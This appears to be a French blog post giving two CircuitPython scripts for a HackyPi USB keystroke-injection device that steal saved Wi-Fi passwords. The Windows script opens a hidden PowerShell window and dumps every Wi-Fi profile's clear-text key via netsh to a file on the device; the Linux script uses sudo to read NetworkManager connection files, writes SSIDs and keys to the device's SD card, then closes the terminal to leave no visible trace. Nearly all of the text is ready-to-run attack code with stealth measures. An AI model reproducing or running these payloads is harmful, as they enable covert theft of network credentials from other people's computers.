Sur windows :
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Clavier AZERTY
# Initialisation du clavier
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutFR(kbd)
def press_combo(key1, key2):
kbd.press(key1)
kbd.press(key2)
time.sleep(0.1)
kbd.release_all()
time.sleep(0.5)
def envoyer_commande(texte):
layout.write(texte)
time.sleep(0.1)
kbd.send(Keycode.ENTER)
time.sleep(0.4)
# --- DÉBUT DE L'EXTRACTION ---
# 1. Attente de sécurité après le branchement USB
time.sleep(4)
# 2. Ouvrir la boîte de dialogue "Exécuter" (Win + R)
press_combo(Keycode.GUI, Keycode.R)
time.sleep(0.8)
# 3. Ouvrir PowerShell en arrière-plan et de manière discrète
# -WindowStyle Hidden permet de masquer rapidement la fenêtre pour rester discret
envoyer_commande("powershell -WindowStyle Hidden")
time.sleep(1.5)
# 4. Commande PowerShell pour extraire les mots de passe Wi-Fi et les enregistrer sur le HackyPi
# Le script cherche un lecteur USB contenant un dossier ou nommé 'HACKYPI' pour y écrire 'wifi_passwords.txt'
commande_payload = (
"$drive = (Get-Volume | Where-Size -FilterScript {$_.DriveLetter -and ($_.FileSystemLabel -eq 'HACKYPI' -or $_.FriendlyName -like '*HackyPi*')}).DriveLetter;"
"if (-not $drive) { $drive = (Get-WMIObject Win32_Volume | Where-Object {$_.DriveType -eq 2} | Select-Object -First 1).DriveLetter };"
"$log = \"${drive}:\\wifi_passwords.txt\";"
"(netsh wlan show profiles) | Select-String '\\:(.+)$' | ForEach-Object { $name = $_.Matches.Groups[1].Value.Trim(); "
"if ($name) { $pass = (netsh wlan show profile name=$name key=clear) | Select-String 'Contenu de la cl' | ForEach-Object { $_.Matches.Groups -replace '.*:\\s*', '' }; "
"if (-not $pass) { $pass = (netsh wlan show profile name=$name key=clear) | Select-String 'Key Content' | ForEach-Object { $_.Matches.Groups -replace '.*:\\s*', '' } }; "
"\"SSID: $name | Password: $pass\" >> $log } }; exit"
)
# 5. Injection et exécution de la commande
envoyer_commande(commande_payload)
Sur Linux être root/admin :
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Clavier AZERTY
# Initialisation du clavier
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutFR(kbd)
# --- CONFIGURATION ---
MOT_DE_PASSE_SUDO = "votre_mot_de_passe" # REQUIS sous Linux pour lire les clés de sécurité
def press_combo(key1, key2, key3=None):
kbd.press(key1)
kbd.press(key2)
if key3:
kbd.press(key3)
time.sleep(0.1)
kbd.release_all()
time.sleep(0.5)
def envoyer_commande(texte):
layout.write(texte)
time.sleep(0.1)
kbd.send(Keycode.ENTER)
time.sleep(0.4)
# --- DÉBUT DE L'EXTRACTION ---
time.sleep(4) # Attente après le branchement USB
# 1. Ouvrir le terminal Linux (Ctrl + Alt + T)
press_combo(Keycode.CONTROL, Keycode.ALT, Keycode.T)
time.sleep(1.5)
# 2. Trouver dynamiquement la lettre de volume de la carte SD du HackyPi (nommée HACKYPI)
# Cette commande cherche le point de montage de la clé USB pour savoir où écrire le fichier de log.
commande_trouver_cle = "SD_PATH=$(df | grep -i 'HACKYPI' | awk '{print $6}')"
envoyer_commande(commande_trouver_cle)
# Fallback au cas où la clé n'est pas encore montée graphiquement (écriture dans /tmp)
envoyer_commande("if [ -z \"$SD_PATH\" ]; then SD_PATH='/tmp'; fi")
# 3. Commande d'extraction de tous les mots de passe stockés par NetworkManager
# On parcourt chaque fichier de configuration et on extrait le SSID (nom) et la clé PSK (mot de passe)
payload_linux = (
"sudo bash -c 'echo \"--- Réseaux Wi-Fi Extraits ---\" > \"$SD_PATH/wifi_passwords_linux.txt\"; "
"for f in /etc/NetworkManager/system-connections/*; do "
"if [ -f \"$f\" ]; then "
"ssid=$(grep -E \"^id=\" \"$f\" | cut -d= -f2); "
"psk=$(grep -E \"^psk=\" \"$f\" | cut -d= -f2); "
"if [ ! -z \"$psk\" ]; then echo \"SSID: $ssid | Mot de passe: $psk\" >> \"$SD_PATH/wifi_passwords_linux.txt\"; fi; "
"fi; done'"
)
# 4. Envoi de la commande d'extraction
envoyer_commande(payload_linux)
time.sleep(1)
# 5. Injection du mot de passe sudo pour valider la lecture des fichiers protégés
envoyer_commande(MOT_DE_PASSE_SUDO)
time.sleep(2)
# 6. Nettoyage : Fermer le terminal pour ne laisser aucune trace visible
envoyer_commande("exit")
Aucun commentaire:
Enregistrer un commentaire